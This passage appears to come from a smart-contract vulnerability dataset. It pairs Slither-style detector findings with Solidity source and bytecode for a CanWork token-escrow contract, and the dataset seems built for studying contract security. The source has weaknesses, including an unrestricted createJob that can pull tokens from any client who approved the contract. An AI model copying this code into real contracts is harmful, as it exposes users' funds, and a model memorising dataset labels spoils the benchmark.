017565b341561040257600080fd5b61040d600435611094565b60405160ff909116815260200160405180910390f35b341561042e57600080fd5b6104366110c6565b604051600160a060020a03909116815260200160405180910390f35b341561045d57600080fd5b6103766110d5565b341561047057600080fd5b61037660ff600435166110db565b6103b76004803560ff169060446024803590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f01602080910402602001604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f0160208091040260200160405190810160405281815292919060208401838380828437509496506110f395505050505050565b341561055b57600080fd5b6103b760ff60043516602435604435611205565b341561057a57600080fd5b6103b76004803560ff169060446024803590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f01602080910402602001604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f0160208091040260200160405190810160405281815292919060208401838380828437509496506112ff95505050505050565b6103b76004803560ff169060446024803590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f01602080910402602001604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f01602080910402602001604051908101604052818152929190602084018383808284375094965061137295505050505050565b341561072957600080fd5b61073a60ff60043516602435611536565b6040518087815260200186600160a060020a0316600160a060020a03168152602001858152602001806020018060200180602001848103845287818151815260200191508051906020019080838360005b838110156107a357808201518382015260200161078b565b50505050905090810190601f1680156107d05780820380516001836020036101000a031916815260200191505b50848103835286818151815260200191508051906020019080838360005b838110156108065780820151838201526020016107ee565b50505050905090810190601f1680156108335780820380516001836020036101000a031916815260200191505b508481038252858181518152602001915080519060200190808383600083811015610321578082015183820152602001610309565b341561087357600080fd5b61037660ff60043516611873565b341561088c57600080fd5b6108946118b6565b60405160208082528190810183818151815260200191508051906020019060200280838360005b838110156108d35780820151838201526020016108bb565b505050509050019250505060405180910390f35b34156108f257600080fd5b61019d60ff60043516611939565b341561090b57600080fd5b6103766119f3565b341561091e57600080fd5b6103b7600160a060020a036004351660ff602435166119f9565b6103b76004803560ff169060446024803590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f01602080910402602001604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f016020809104026020016040519081016040528181529291906020840183838082843750949650611a7695505050505050565b3415610a1557600080fd5b610436611b9f565b3415610a2857600080fd5b610a3660ff60043516611bae565b60405160ff87168152600160a060020a038616602082015281151560a082015260c060408201818152865460026000196101006001841615020190911604918301829052906060830190608084019060e085019089908015610ad95780601f10610aae57610100808354040283529160200191610ad9565b820191906000526020600020905b815481529060010190602001808311610abc57829003601f168201915b5050848103835287546002600019610100600184161502019091160480825260209091019088908015610b4d5780601f10610b2257610100808354040283529160200191610b4d565b820191906000526020600020905b815481529060010190602001808311610b3057829003601f168201915b5050848103825286546002600019610100600184161502019091160480825260209091019087908015610bc15780601f10610b9657610100808354040283529160200191610bc1565b820191906000526020600020905b815481529060010190602001808311610ba457829003601f168201915b5050995050505050505050505060405180910390f35b3415610be257600080fd5b610894611bef565b3415610bf557600080fd5b61040d600435611c6a565b3415610c0b57600080fd5b6103b760ff600435166024351515611c78565b3415610c2957600080fd5b6103b760ff60043516611ce8565b3415610c4257600080fd5b61073a60ff60043516611d64565b3415610c5b57600080fd5b610376600160a060020a0360043516611dad565b60036020819052600091825260409091208054600182015460028301549383015460049093015460ff92831694919391928181169161010090041686565b600080610cb8611f3d565b610cc0611f3d565b610cc8611f3d565b6000808760018160ff1610158015610ce4575060648160ff1611155b1515610cef57600080fd5b60ff898116600090815260016020818152604092839020805481840180549682169e5061010091829004600160a060020a03169d50919750909460029381161590910260001901169190910491601f8301829004820290910190519081016040528092919081815260200182805460018160011615610100020316600290048015610dbb5780601f10610d9057610100808354040283529160200191610dbb565b820191906000526020600020905b815481529060010190602001808311610d9e57829003601f168201915b50505050509550816002018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e5a5780601f10610e2f57610100808354040283529160200191610e5a565b820191906000526020600020905b815481529060010190602001808311610e3d57829003601f168201915b50505050509450816003018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ef95780601f10610ece57610100808354040283529160200191610ef9565b820191906000526020600020905b815481529060010190602001808311610edc57829003601f168201915b5050505060049390930154989a9799509597949660ff909516949350505050565b600160a060020a0333166000908152602081905260409020545b90565b60065481565b60008260018160ff1610158015610f58575060648160ff1611155b1515610f6357600080fd5b60ff8416600090815260016020526040902054849033600160a060020a039081166101009092041614610f9557600080fd5b50505060ff919091166000908152600360205260409020600180820192909255600401805460ff19168217905590565b600160a060020a03331660008181526020819052604080822080549083905591929082156108fc0290839051600060405180830381858888f19350505050151561100e57600080fd5b600191505b5090565b60008160018160ff1610158015611032575060648160ff1611155b151561103d57600080fd5b60ff8316600090815260016020526040902054839033600160a060020a03908116610100909204161461106f57600080fd5b50505060ff166000908152600360205260409020600401805461ff0019169055600190565b60048054829081106110a257fe5b9060005260206000209060209182820401919006915054906101000a900460ff1681565b600954600160a060020a031681565b60075481565b60ff1660009081526003602052604090206005015490565b6000808560018160ff161015801561110f575060648160ff1611155b151561111a57600080fd5b61112387611873565b9150348290101561113357600080fd5b60ff87166000908152600160205260409020546101009004600160a060020a03161561115e57600080fd5b61116b8733888888611dbf565b5060ff87166000908152600160205260409020600401805460ff191690556008546009546007546111a992600160a060020a03908116921690611e6b565b506111b48783611eb9565b5060028054600181016111c78382611f4f565b916000526020600020906020918282040191900689909190916101000a81548160ff021916908360ff16021790555050600192505050949350505050565b60008060008560018160ff1610158015611223575060648160ff1611155b151561122e57600080fd5b60ff8716600090815260016020526040902054879033600160a060020a03908116610100909204161461126057600080fd5b60ff808916600090815260036020526040902060040154161561128257600080fd5b61128b886110db565b60ff89166000908152600360208181526040808420858552600601909152909120015490945092504383106112bf57600080fd5b60ff881660009081526003602081905260409091206002810189905560048101805461ff0019166101001790550186905560019450505050509392505050565b60008460018160ff161015801561131a575060648160ff1611155b151561132557600080fd5b60ff8616600090815260016020526040902054869033600160a060020a03908116610100909204161461135757600080fd5b6113648733888888611dbf565b506001979650505050505050565b60008060008060008060008060008c60018160ff1610158015611399575060648160ff1611155b15156113a457600080fd5b60ff808f1660009081526003602052604090206004810154909a5061010090041615156113d057600080fd5b886002015497508860030154965086880295508534101515156113f257600080fd5b6113fb8e6110db565b60ff8f1660009081526001602081905260409091208054600854600654949093019850438b019750909550600160a060020a036101009091048116945061144792859290911690611e6b565b50600085815260068a016020526040902085815560018101805473ffffffffffffffffffffffffffffffffffffffff191633600160a060020a031617905560028101879055600381018590556004018d80516114a7929160200190611f88565b50600085815260068a01602052604090206005018c80516114cc929160200190611f88565b5060008581526006808b016020526040909120018b80516114f1929160200190611f88565b5060048901805461ff0019169055600589018054600181016115138382612002565b506000918252602090912001949094555060019c9b505050505050505050505050565b6000806000611543611f3d565b61154b611f3d565b611553611f3d565b600360008960ff1660ff168152602001908152602001600020600601600088815260200190815260200160002060000154600360008a60ff1660ff168152602001908152602001600020600601600089815260200190815260200160002060010160009054906101000a9004600160a060020a0316600360008b60ff1660ff16815260200190815260200160002060060160008a815260200190815260200160002060030154600360008c60ff1660ff16815260200190815260200160002060060160008b8152602001908152602001600020600401600360008d60ff1660ff16815260200190815260200160002060060160008c8152602001908152602001600020600501600360008e60ff1660ff16815260200190815260200160002060060160008d8152602001908152602001600020600601828054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561171e5780601f106116f35761010080835404028352916020019161171e565b820191906000526020600020905b81548152906001019060200180831161170157829003601f168201915b50505050509250818054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156117ba5780601f1061178f576101008083540402835291602001916117ba565b820191906000526020600020905b81548152906001019060200180831161179d57829003601f168201915b50505050509150808054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156118565780601f1061182b57610100808354040283529160200191611856565b820191906000526020600020905b81548152906001019060200180831161183957829003601f168201915b505050505090509550955095509550955095509295509295509295565b60008160018160ff161015801561188e575060648160ff1611155b151561189957600080fd5b60055460001960ff85160190606490040260055403915050919050565b6118be611f3d565b6118c6611f3d565b60025460009081906040518059106118db5750595b9080825280602002602001820160405250925060009150600090505b60025460ff821610156119315780838360ff168151811061191457fe5b60ff909216602092830290910190910152600191820191016118f7565b509092915050565b6000806000806000806000808860018160ff161015801561195e575060648160ff1611155b151561196957600080fd5b60ff808b1660009081526003602052604090205416158061199e575060ff808b16600090815260036020526040902060040154165b156119a857600192505b505060ff978816600090815260036020819052604090912080546001820154600283015493830154600490930154918c169c909b939a50919850929650610100909204169350915050565b60055481565b60ff8116600090815260016020526040812054829033600160a060020a039081166101009092041614611a2b57600080fd5b60ff831660009081526001602081905260409091208054600160a060020a0387166101000274ffffffffffffffffffffffffffffffffffffffff001990911617905591505092915050565b60008060008660018160ff1610158015611a94575060648160ff1611155b1515611a9f57600080fd5b60ff88166000908152600160205260409020546101009004600160a060020a03161515611acb57600080fd5b60ff808916600090815260036020526040902060040154161515611aee57600080fd5b60ff881660009081526003602052604090206001015492503483901015611b1457600080fd5b60ff8816600090815260016020526040902054600854600654600160a060020a0361010090930483169450611b4c9285921690611e6b565b50611b5a8833898989611dbf565b5060ff881660009081526001602081815260408084206004908101805460ff199081169091556003909352932090920180549092169091559350505050949350505050565b600854600160a060020a031681565b60016020819052600091825260409091208054600482015460ff80831694610100909304600160a060020a0316939283019260028101926003909101911686565b611bf7611f3d565b611bff611f3d565b6004546000908190604051805910611c145750595b9080825280602002602001820160405250925060009150600090505b60045460ff821610156119315780838360ff1681518110611c4d57fe5b60ff90921660209283029091019091015260019182019101611c30565b60028054829081106110a257fe5b60008260018160ff1610158015611c93575060648160ff1611155b1515611c9e57600080fd5b60085433600160a060020a03908116911614611cb957600080fd5b60ff84166000908152600160208190526040909120600401805485151560ff1990911617905591505092915050565b60008160018160ff1610158015611d03575060648160ff1611155b1515611d0e57600080fd5b60ff8316600090815260016020526040902054839033600160a060020a039081166101009092041614611d4057600080fd5b50505060ff166000908152600360205260409020600401805460ff19169055600190565b6000806000611d71611f3d565b611d79611f3d565b611d81611f3d565b6000611d8c886110db565b9050611d988882611536565b949d939c50919a509850965090945092505050565b60006020819052908152604090205481565b60ff851660009081526001602081905260408220805474ffffffffffffffffffffffffffffffffffffffff001916610100600160a060020a0389160217815501848051611e10929160200190611f88565b5060ff86166000908152600160205260409020600201838051611e37929160200190611f88565b5060ff86166000908152600160205260409020600301828051611e5e929160200190611f88565b5060019695505050505050565b6000806000611e7a3485611f34565b600160a060020a039687166000908152602081905260408082208054348590030190559690971687529490952080549094019093555060019392505050565b60ff82166000818152600360205260408120805460ff1916909217825560018083018490556004928301805461ffff191690558254919291908101611efe8382611f4f565b50600091825260209182902082820401805460ff808816949093066101000a938402929093021990921617905550600192915050565b61271091020490565b60206040519081016040526000815290565b815481835581811511611f8357601f016020900481601f01602090048360005260206000209182019101611f839190612022565b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611fc957805160ff1916838001178555611ff6565b82800160010185558215611ff6579182015b82811115611ff6578251825591602001919060010190611fdb565b50611013929150612022565b815481835581811511611f8357600083815260209020611f839181019083015b610f3491905b8082111561101357600081556001016120285600a165627a7a72305820d22e2c5a6fe26a7690d43381d9abda103217960297727efe15350e82933f52a80029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 9,339 |
0xd173f8a1938ee14598201a958877766dc30b988a
|
pragma solidity 0.4.24;
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface ERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
}
/**
* @title Migratable
* Helper contract to support intialization and migration schemes between
* different implementations of a contract in the context of upgradeability.
* To use it, replace the constructor with a function that has the
* `isInitializer` modifier starting with `"0"` as `migrationId`.
* When you want to apply some migration code during an upgrade, increase
* the `migrationId`. Or, if the migration code must be applied only after
* another migration has been already applied, use the `isMigration` modifier.
* This helper supports multiple inheritance.
* WARNING: It is the developer's responsibility to ensure that migrations are
* applied in a correct order, or that they are run at all.
* See `Initializable` for a simpler version.
*/
contract Migratable {
/**
* @dev Emitted when the contract applies a migration.
* @param contractName Name of the Contract.
* @param migrationId Identifier of the migration applied.
*/
event Migrated(string contractName, string migrationId);
/**
* @dev Mapping of the already applied migrations.
* (contractName => (migrationId => bool))
*/
mapping (string => mapping (string => bool)) internal migrated;
/**
* @dev Modifier to use in the initialization function of a contract.
* @param contractName Name of the contract.
* @param migrationId Identifier of the migration.
*/
modifier isInitializer(string contractName, string migrationId) {
require(!isMigrated(contractName, migrationId));
_;
emit Migrated(contractName, migrationId);
migrated[contractName][migrationId] = true;
}
/**
* @dev Modifier to use in the migration of a contract.
* @param contractName Name of the contract.
* @param requiredMigrationId Identifier of the previous migration, required
* to apply new one.
* @param newMigrationId Identifier of the new migration to be applied.
*/
modifier isMigration(string contractName, string requiredMigrationId, string newMigrationId) {
require(isMigrated(contractName, requiredMigrationId) && !isMigrated(contractName, newMigrationId));
_;
emit Migrated(contractName, newMigrationId);
migrated[contractName][newMigrationId] = true;
}
/**
* @dev Returns true if the contract migration was applied.
* @param contractName Name of the contract.
* @param migrationId Identifier of the migration.
* @return true if the contract migration was applied, false otherwise.
*/
function isMigrated(string contractName, string migrationId) public view returns(bool) {
return migrated[contractName][migrationId];
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Escrow is Migratable {
using SafeMath for uint256;
ERC20 internal escrowToken;
uint256 internal escrowId = 0;
address escrowDapp;
enum EscrowStatus {
New,
Completed,
Cancelled
}
struct EscrowRecord {
uint256 id;
address client;
address provider;
uint256 amount;
EscrowStatus status;
uint256 createdAt;
uint256 closedAt;
uint256 paidToDappAmount;
uint256 paidToProviderAmount;
uint256 paidToClientAmount;
uint256 paidToArbiterAmount;
}
mapping(uint256 => EscrowRecord) internal escrows;
event OnInitialize(address indexed token, address indexed dApp);
event OnCreateEscrow(address indexed dapp, address indexed client, address indexed provider, uint256 amount, uint256 payToDappAmount);
event OnCompleteEscrow(address indexed dapp, uint256 indexed escrowId);
event OnCancelEscrowByProvider(address indexed dapp, uint256 indexed escrowId);
event OnCancelEscrow(address indexed dapp, uint256 indexed escrowId, uint256 payToProviderAmount, address indexed arbiter, uint256 payToArbiterAmount);
function initialize(ERC20 _token, address _dApp)
internal
isInitializer("Escrow", "0.1.3") {
require(_token != address(0) && _dApp != address(0));
escrowToken = _token;
escrowDapp = _dApp;
emit OnInitialize(_token, _dApp);
}
function createEscrow(address _client, address _provider, uint256 _amount, uint256 _payToDappAmount)
internal
returns (uint256) {
require(_client != address(0) && _provider != address(0) && _amount > 0 && _payToDappAmount >= 0);
require(escrowToken.transferFrom(_client, address(this), _amount));
uint256 id = ++escrowId;
EscrowRecord storage escrow = escrows[id];
escrow.id = id;
escrow.client = _client;
escrow.provider = _provider;
escrow.amount = _amount;
escrow.createdAt = block.number;
escrow.status = EscrowStatus.New;
escrow.paidToProviderAmount = 0;
escrow.paidToClientAmount = 0;
escrow.paidToArbiterAmount = 0;
if (_payToDappAmount > 0) {
escrow.paidToDappAmount = _payToDappAmount;
require(escrowToken.transfer(escrowDapp, _payToDappAmount));
}
emit OnCreateEscrow(escrowDapp, _client, _provider, _amount, _payToDappAmount);
return id;
}
function completeEscrow(uint256 _escrowId)
internal
returns (bool) {
require(escrows[_escrowId].status == EscrowStatus.New);
require(escrows[_escrowId].client == msg.sender);
escrows[_escrowId].status = EscrowStatus.Completed;
escrows[_escrowId].paidToProviderAmount = escrows[_escrowId].amount.sub(escrows[_escrowId].paidToDappAmount);
escrows[_escrowId].closedAt = block.number;
require(escrowToken.transfer(escrows[_escrowId].provider, escrows[_escrowId].paidToProviderAmount));
emit OnCompleteEscrow(escrowDapp, _escrowId);
return true;
}
function cancelEscrowByProvider(uint256 _escrowId)
internal
returns (bool) {
require(escrows[_escrowId].status == EscrowStatus.New);
require(escrows[_escrowId].provider == msg.sender);
escrows[_escrowId].paidToClientAmount = escrows[_escrowId].amount.sub(escrows[_escrowId].paidToDappAmount);
escrows[_escrowId].status = EscrowStatus.Cancelled;
escrows[_escrowId].closedAt = block.number;
require(escrowToken.transfer(escrows[_escrowId].client, escrows[_escrowId].paidToClientAmount));
emit OnCancelEscrowByProvider(escrowDapp, _escrowId);
return true;
}
function cancelEscrow(uint256 _escrowId, uint256 _payToProviderAmount, address arbiter, uint256 _payToArbiterAmount)
internal
returns (bool) {
require(escrows[_escrowId].status == EscrowStatus.New);
require(_payToProviderAmount >= 0 && _payToArbiterAmount >= 0);
require(escrows[_escrowId].amount >= escrows[_escrowId].paidToDappAmount.add(_payToArbiterAmount).add(_payToProviderAmount));
escrows[_escrowId].status = EscrowStatus.Cancelled;
escrows[_escrowId].closedAt = block.number;
if (_payToArbiterAmount > 0) {
require(arbiter != address(0));
escrows[_escrowId].paidToArbiterAmount = _payToArbiterAmount;
require(escrowToken.transfer(arbiter, _payToArbiterAmount));
}
if (_payToProviderAmount > 0) {
escrows[_escrowId].paidToProviderAmount = _payToProviderAmount;
require(escrowToken.transfer(escrows[_escrowId].provider, _payToProviderAmount));
}
uint256 totalPaid = escrows[_escrowId].paidToDappAmount.add(_payToArbiterAmount).add(_payToProviderAmount);
escrows[_escrowId].paidToClientAmount = escrows[_escrowId].amount.sub(totalPaid);
if (escrows[_escrowId].paidToClientAmount > 0) {
require(escrowToken.transfer(escrows[_escrowId].client, escrows[_escrowId].paidToClientAmount));
}
emit OnCancelEscrow(escrowDapp, _escrowId, _payToProviderAmount, arbiter, _payToArbiterAmount);
return true;
}
function getEscrow(uint256 _escrowId)
public
view
returns (
address client,
address provider,
uint256 amount,
uint8 status,
uint256 createdAt,
uint256 closedAt,
uint256 paidToProviderAmount)
{
require(_escrowId > 0 && escrows[_escrowId].createdAt > 0);
return (
escrows[_escrowId].client,
escrows[_escrowId].provider,
escrows[_escrowId].amount,
uint8(escrows[_escrowId].status),
escrows[_escrowId].createdAt,
escrows[_escrowId].closedAt,
escrows[_escrowId].paidToProviderAmount
);
}
function getEscrowPayments(uint256 _escrowId)
public
view
returns (
uint8 status,
uint256 amount,
uint256 paidToDappAmount,
uint256 paidToProviderAmount,
uint256 paidToClientAmount,
uint256 paidToArbiterAmount)
{
require(_escrowId > 0 && escrows[_escrowId].createdAt > 0);
return (
uint8(escrows[_escrowId].status),
escrows[_escrowId].amount,
escrows[_escrowId].paidToDappAmount,
escrows[_escrowId].paidToProviderAmount,
escrows[_escrowId].paidToClientAmount,
escrows[_escrowId].paidToArbiterAmount
);
}
}
contract CanWorkAdmin {
function addSig(address signer, bytes32 id) external returns (uint8);
function resetSignature(bytes32 id) external returns (bool);
function getSignersCount(bytes32 id) external view returns (uint8);
function getSigner(bytes32 id, uint index) external view returns (address,bool);
function hasRole(address addr, string roleName) external view returns (bool);
}
contract CanWorkJob is Escrow {
using SafeMath for uint256;
CanWorkAdmin canworkAdmin;
string public constant ROLE_ADMIN = "admin";
string public constant ROLE_OWNER = "owner";
uint8 internal CANWORK_PAYMENT_PERCENTAGE;
enum JobStatus {
New,
Completed,
Cancelled
}
struct Job {
bytes32 id;
address client;
address provider;
uint256 escrowId;
JobStatus status;
uint256 amount;
}
mapping(bytes32 => Job) internal jobs;
address dApp;
event OnCreateJob(address indexed dapp, bytes32 indexed jobId, address client, address indexed provider, uint256 totalCosts);
event OnCompleteJob(address indexed dapp, bytes32 indexed jobId);
event OnCancelJobByProvider(address indexed dapp, bytes32 indexed jobId);
event OnCancelJobByAdmin(address indexed dapp, bytes32 indexed jobId, uint256 payToProviderAmount, address indexed arbiter, uint256 payToArbiterAmount);
function initialize(ERC20 _token, CanWorkAdmin _canworkAdmin, address _dApp)
public
isInitializer("CanWorkJob", "0.1.3") {
require(_token != address(0) && _canworkAdmin != address(0) && _dApp != address(0));
Escrow.initialize(_token, _dApp);
canworkAdmin = CanWorkAdmin(_canworkAdmin);
dApp = _dApp;
CANWORK_PAYMENT_PERCENTAGE = 1;
}
function createJob(bytes32 _jobId, address _client, address _provider, uint256 _totalCosts)
public
returns (bool) {
require(_jobId[0] != 0);
require(jobs[_jobId].id[0] == 0);
uint256 payToDappAmount = _totalCosts.mul(CANWORK_PAYMENT_PERCENTAGE).div(100);
jobs[_jobId].id = _jobId;
jobs[_jobId].client = _client;
jobs[_jobId].provider = _provider;
jobs[_jobId].status = JobStatus.New;
jobs[_jobId].amount = _totalCosts;
jobs[_jobId].escrowId = createEscrow(_client, _provider, _totalCosts, payToDappAmount);
emit OnCreateJob(dApp, _jobId, _client, _provider, _totalCosts);
return true;
}
function completeJob(bytes32 _jobId)
public
returns (bool) {
require(_jobId[0] != 0);
require(jobs[_jobId].status == JobStatus.New);
require(jobs[_jobId].client == msg.sender);
require(completeEscrow(jobs[_jobId].escrowId));
jobs[_jobId].status = JobStatus.Completed;
emit OnCompleteJob(dApp, _jobId);
return true;
}
function cancelJobByProvider(bytes32 _jobId)
public
returns (bool) {
require(_jobId[0] != 0);
require(jobs[_jobId].status == JobStatus.New);
require(jobs[_jobId].provider == msg.sender);
require(cancelEscrowByProvider(jobs[_jobId].escrowId));
jobs[_jobId].status = JobStatus.Cancelled;
emit OnCancelJobByProvider(dApp, _jobId);
return true;
}
function cancelJobByAdmin(bytes32 _jobId, uint256 _payToProviderAmount, address _arbiter, uint256 _payToArbiterAmount)
public
returns (bool) {
require(_jobId[0] != 0);
require(jobs[_jobId].status == JobStatus.New);
require(canworkAdmin.hasRole(msg.sender, ROLE_ADMIN));
uint maxArbiterPayment = jobs[_jobId].amount.mul(5).div(100);
require(_payToArbiterAmount <= maxArbiterPayment);
require(cancelEscrow(jobs[_jobId].escrowId, _payToProviderAmount, _arbiter, _payToArbiterAmount));
jobs[_jobId].status = JobStatus.Cancelled;
emit OnCancelJobByAdmin(dApp, _jobId, _payToProviderAmount, _arbiter, _payToArbiterAmount);
return true;
}
function getJob(bytes32 _jobId)
public
view
returns (
address client,
address provider,
uint256 amount,
uint8 status,
uint256 createdAt,
uint256 closedAt,
uint256 paidToProviderAmount
) {
require(_jobId[0] != 0);
require(jobs[_jobId].id[0] != 0);
return getEscrow(jobs[_jobId].escrowId);
}
function getJobPayments(bytes32 _jobId)
public
view
returns (
uint8 status,
uint256 amount,
uint256 paidToDappAmount,
uint256 paidToProviderAmount,
uint256 paidToClientAmount,
uint256 paidToArbiterAmount
) {
require(_jobId[0] != 0);
require(jobs[_jobId].id[0] != 0);
return getEscrowPayments(jobs[_jobId].escrowId);
}
}
contract CanWork is CanWorkJob {
ERC20 canYaCoin;
event OnEmeregencyTransfer(address indexed toAddress, uint256 balance);
function initialize(ERC20 _token, CanWorkAdmin _canworkAdmin, address _dApp)
public
isInitializer("CanWork", "0.1.2") {
require(_token != address(0) && _canworkAdmin != address(0) && _dApp != address(0));
CanWorkJob.initialize(_token, _canworkAdmin, _dApp);
canYaCoin = _token;
}
function emergencyTransfer(address toAddress)
public
returns (bool) {
require(toAddress != address(0));
require(canworkAdmin.hasRole(msg.sender, ROLE_OWNER));
bytes32 uniqueId = keccak256(abi.encodePacked(address(this), toAddress, "emergencyTransfer"));
if (canworkAdmin.getSignersCount(uniqueId) < 2) {
canworkAdmin.addSig(msg.sender, uniqueId);
return false;
}
canworkAdmin.addSig(msg.sender, uniqueId);
canworkAdmin.resetSignature(uniqueId);
uint256 balance = canYaCoin.balanceOf(address(this));
canYaCoin.transfer(toAddress, balance);
emit OnEmeregencyTransfer(toAddress, balance);
return true;
}
function getEmergencyTransferSignersCount(address _toAddress)
public
view
returns(uint)
{
bytes32 uniqueId = keccak256(abi.encodePacked(address(this), _toAddress, "emergencyTransfer"));
return canworkAdmin.getSignersCount(uniqueId);
}
function getEmergencyTransferSigner(address _toAddress, uint index)
public
view
returns (address,bool)
{
bytes32 uniqueId = keccak256(abi.encodePacked(address(this), _toAddress, "emergencyTransfer"));
return canworkAdmin.getSigner(uniqueId, index);
}
}
|
0x6080604052600436106100da5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630e50183481146100df57806341defd82146101145780636e6bfca01461013e5780637d19e596146101565780638ad682af146101b4578063991e01391461023e578063afcfad6e14610256578063c0bac1a8146102a5578063c0c53b8b1461033c578063d047a0d01461036b578063d391014b146103b2578063dea90acf146103c7578063e7acaa1e146103fa578063f729cf0d14610427578063fd232b591461043f575b600080fd5b3480156100eb57600080fd5b50610100600160a060020a0360043516610457565b604080519115158252519081900360200190f35b34801561012057600080fd5b50610100600435602435600160a060020a0360443516606435610a38565b34801561014a57600080fd5b50610100600435610ca1565b34801561016257600080fd5b5061016e600435610d92565b60408051600160a060020a0398891681529690971660208701528587019490945260ff9092166060850152608084015260a083015260c082015290519081900360e00190f35b3480156101c057600080fd5b506101c9610e40565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102035781810151838201526020016101eb565b50505050905090810190601f1680156102305780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561024a57600080fd5b50610100600435610e77565b34801561026257600080fd5b5061026e600435610f68565b6040805160ff90971687526020870195909552858501939093526060850191909152608084015260a0830152519081900360c00190f35b3480156102b157600080fd5b506040805160206004803580820135601f810184900484028501840190955284845261010094369492936024939284019190819084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a999881019791965091820194509250829150840183828082843750949750610fe89650505050505050565b34801561034857600080fd5b50610369600160a060020a03600435811690602435811690604435166110b1565b005b34801561037757600080fd5b5061038f600160a060020a036004351660243561137a565b60408051600160a060020a03909316835290151560208301528051918290030190f35b3480156103be57600080fd5b506101c96114eb565b3480156103d357600080fd5b506103e8600160a060020a0360043516611522565b60408051918252519081900360200190f35b34801561040657600080fd5b50610100600435600160a060020a0360243581169060443516606435611681565b34801561043357600080fd5b5061016e6004356117df565b34801561044b57600080fd5b5061026e600435611863565b60008080600160a060020a038416151561047057600080fd5b600580546040805180820182529283527f6f776e65720000000000000000000000000000000000000000000000000000006020840190815281517f217fe6c6000000000000000000000000000000000000000000000000000000008152336004820181815260248301948552865160448401528651600160a060020a039096169663217fe6c69692959094919390926064909101919080838360005b8381101561052457818101518382015260200161050c565b50505050905090810190601f1680156105515780820380516001836020036101000a031916815260200191505b509350505050602060405180830381600087803b15801561057157600080fd5b505af1158015610585573d6000803e3d6000fd5b505050506040513d602081101561059b57600080fd5b505115156105a857600080fd5b604080516c01000000000000000000000000308102602080840191909152600160a060020a03881690910260348301527f656d657267656e63795472616e73666572000000000000000000000000000000604883015282516039818403018152605990920192839052815191929182918401908083835b6020831061063e5780518252601f19909201916020918201910161061f565b51815160209384036101000a6000190180199092169116179052604080519290940182900382206005547f46aaf13900000000000000000000000000000000000000000000000000000000845260048401829052945190985060029650600160a060020a0390941694506346aaf139936024808401945091929091908290030181600087803b1580156106d057600080fd5b505af11580156106e4573d6000803e3d6000fd5b505050506040513d60208110156106fa57600080fd5b505160ff1610156107a857600554604080517fe287adf4000000000000000000000000000000000000000000000000000000008152336004820152602481018590529051600160a060020a039092169163e287adf4916044808201926020929091908290030181600087803b15801561077257600080fd5b505af1158015610786573d6000803e3d6000fd5b505050506040513d602081101561079c57600080fd5b5060009350610a319050565b600554604080517fe287adf4000000000000000000000000000000000000000000000000000000008152336004820152602481018590529051600160a060020a039092169163e287adf4916044808201926020929091908290030181600087803b15801561081557600080fd5b505af1158015610829573d6000803e3d6000fd5b505050506040513d602081101561083f57600080fd5b5050600554604080517f5969c0e1000000000000000000000000000000000000000000000000000000008152600481018590529051600160a060020a0390921691635969c0e1916024808201926020929091908290030181600087803b1580156108a857600080fd5b505af11580156108bc573d6000803e3d6000fd5b505050506040513d60208110156108d257600080fd5b5050600854604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051600160a060020a03909216916370a08231916024808201926020929091908290030181600087803b15801561093a57600080fd5b505af115801561094e573d6000803e3d6000fd5b505050506040513d602081101561096457600080fd5b50516008546040805160e060020a63a9059cbb028152600160a060020a03888116600483015260248201859052915193945091169163a9059cbb916044808201926020929091908290030181600087803b1580156109c157600080fd5b505af11580156109d5573d6000803e3d6000fd5b505050506040513d60208110156109eb57600080fd5b5050604080518281529051600160a060020a038616917fd52f490db8aced6e82c33e39d01bca1886f5e9579c9e3347e8a89d60ad39bb09919081900360200190a2600192505b5050919050565b600080600160f860020a031960f860020a87831a02161515610a5957600080fd5b600086815260